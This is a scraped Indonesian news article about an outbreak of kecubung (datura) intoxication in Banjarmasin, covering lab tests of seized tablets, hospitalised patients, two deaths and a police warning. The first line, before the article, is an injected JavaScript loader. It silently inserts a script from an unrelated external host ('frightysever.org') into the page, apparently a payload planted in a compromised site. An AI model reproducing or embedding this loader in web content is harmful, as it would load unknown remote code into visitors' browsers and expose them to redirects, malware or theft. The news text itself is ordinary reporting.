(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Fenomena mabuk kecubung yang tengah melanda Banua mendapat perhatian khusus dari Kepolisian Daerah (Polda) Kalimantan Selatan.
Balai Besar Pengawas Obat dan Makanan (BBPOM) Banjarmasin pun sedang melakukan uji laboratorium terhadap racikan obat yang diduga mengandung kecubung.
Hal itu diungkapkan oleh Kepala BBPOM Banjarmasin, Leonard Duma. Menurutnya pengujian sampel dilakukan setelah pihaknya menerima sampel dari Polda Kalsel.
Baca juga: Korupsi Retribusi Asuransi Wisata, Mantan Kadis dan Bendahara Dispar Tala Divonis Setahun
“Sedang diuji, mungkin Senin hasilnya kami kirim ke Polda (pengirim sampel),” katanya melalui pesan singkat kepada kanalkalimantan.com Sabtu (13/7/2024).
Leonard menyebutkan, sampel yang diterima BBPOM Banjarmasin dari Polda Kalsel tengah diuji kandungnya, bentuknya berupa tablet. Yaitu sediaan padat yang dibuat dengan cara kempa-cetak.
“Bentuknya tablet,” ungkap Kepala BBPOM Banjarmasin.
Baca juga: 5 Inspirasi Desain Rumah Kekinian, Anak Muda Banget!
Hingga saat ini Rumah Sakit Jiwa (RSJ) Sambang Lihum menerima puluhan pasien dengan gejala yang hampir sama setelah mengonsumsi racikan yang diduga mengandung buah kecubung.
Bahkan, pihak rumah sakit milik Pemprov Kalsel itu mencatat ada dua pasien yang meninggal dunia setelah diduga mengonsumsi racikan buah yang dijuluki ‘Nafas Setan’ itu. Dua orang laki-laki yang meninggal berusia usia 20 tahun dan 44 tahun, berasal dari Kota Banjarmasin.
Kabid Humas Polda Kalsel, Kombes Pol Adam Erwindi mengatakan bahwa Direktorat Reserse Narkoba Polda Kalsel tengah menindaklanjuti fenomena mabuk kecubung yang tengah ramai di masyarakat.
Baca juga: Workshop Kehumasan 2024 Kanwil DJBC Kalbagsel, Bikin Desain Grafis hingga Videografi
Pihaknya telah mengidentifikasi sejumlah korban kecubung melalui video yang tersebar di berbagai platfom media sosial.
“Kami sudah mengidentifikasi korban yang mabuk. Kami mengimbau masyarakat untuk tidak meniru perilaku tersebut karena bisa membahayakan kesehatan dan keselamatan,” katanya.
Dijelaskan Kabid Humas, saat ini Ditresnarkoba Polda Kalsel berkordinasi dengan instansi terkait dan membawa sampel kecubung ke laboratorium forensik untuk mengetahui kandungannya.
Baca juga: Curi Dua Motor di Komplek Sendiri, Lelaki Warga Cempaka Dibekuk Polisi di SPBU Simpang Empat
“Kami belum mengetahui efek apa yang terjadi dari kandungan bahan daun dan buah kecubung tersebut. Membuat efek mabuk atau halusinasi, kita masih menunggu keterangan dari laboratorium forensik,” katanya.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Komisioner Badan Pengawas Pemilihan Umum (Bawaslu) Hulu Sungai Utara (HSU) Syardani, menekankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Aliansi Masyarakat Adat Nusantara (AMAN) Kalimantan Selatan (Kalsel) menggelar seminar nasional terkait… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemuda asal Hulu Sungai Utara (HSU) , Zainal Fuad sukses menampilkan busana… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran besar terjadi di Jalan Belitung Darat, Kelurahan Kuin Cerucuk, Kecamatan Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Api berkobar hebat dari Gudang Golden 10 di Jalan Belitung, Kecamatan Banjarmasin… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Hulu Sungai Utara (HSU) terima program… Read More
This website uses cookies.